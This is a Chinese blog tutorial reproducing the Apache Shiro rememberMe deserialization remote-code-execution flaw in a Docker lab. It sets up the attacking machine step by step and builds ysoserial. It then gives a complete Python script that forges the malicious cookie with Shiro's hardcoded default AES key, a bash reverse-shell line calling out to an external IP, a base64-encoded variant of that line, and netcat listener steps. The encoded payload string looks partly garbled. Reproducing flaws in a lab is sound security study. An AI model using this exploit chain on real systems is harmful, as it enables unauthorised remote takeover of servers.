源自: https://blog.csdn.net/T_Snail_T/article/details/105300227
0x00 前言
最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。
0x01 服务器环境安装
直接使用docker进行环境的安装
docker pull medicean/vulapps:s_shiro_1
安装好之后为了能够进行访问与反弹Shell,这里需要对端口进行映射(端口映射需要在启动的时候设置映射的端口,不然就需要重新启动)
启动容器
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
查看一下,状态为UP代表正在运行中

直接访问

好的,服务器环境安装完毕了
0x02 漏洞验证
怎么确定网站是Shiro环境的呢?
使用BurpSuite抓取数据包,通过响应包中的 rememberMe=deleteMe来确认

0x03 攻击机环境安装
攻击机的系统为:debian 9
先更新一下
sudo apt-get update
方便下载exp,先安装git
sudo apt install git
安装JDK
sudo apt-get install openjdk-8-jdk
因为生成Cookie的脚本需要安装依赖,这里直接安装pip来进行依赖的安装,首先安装pip
sudo apt install python3-pip
安装依赖pycrypto
sudo pip3 install pycrypto
安装MVN
sudo apt updatesudo apt upgradesudo apt install maven
安装完成验证一下
mvn --version
最后安装一下nc
sudo apt install netcat-openbsd
好的,万事俱备了,下面开始进行攻击
0x04 开始攻击
下载EXP
git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests
这里需要用Python脚本进行代码执行的生成
代码如下
import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])with open("/tmp/payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()), file=fpw)
需要将脚本跟ysoserial-0.0.6-SNAPSHOT-all.jar放到同一个目录

反弹Shell的代码需要进行base64加密,先进行加密
反弹Shell命令(地址请替换成自己的公网地址)
bash -i >& /dev/tcp/1.1.1.1/6666 0>&1
加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

下面是生成反弹Shell到我本机的命令
python3 test.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNS4x1OTxI2uMTg4LjIxMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
运行后会在/tmp目录生成payload.cookie文件

开始监听6666端口

再次来到WEB页面,随便抓取一个页面的数据包

将payload.cookie文件中的内容替换到Cookie中,再次发送数据包

成功获得反弹的Shell

至此,漏洞复现完毕,感谢观看。




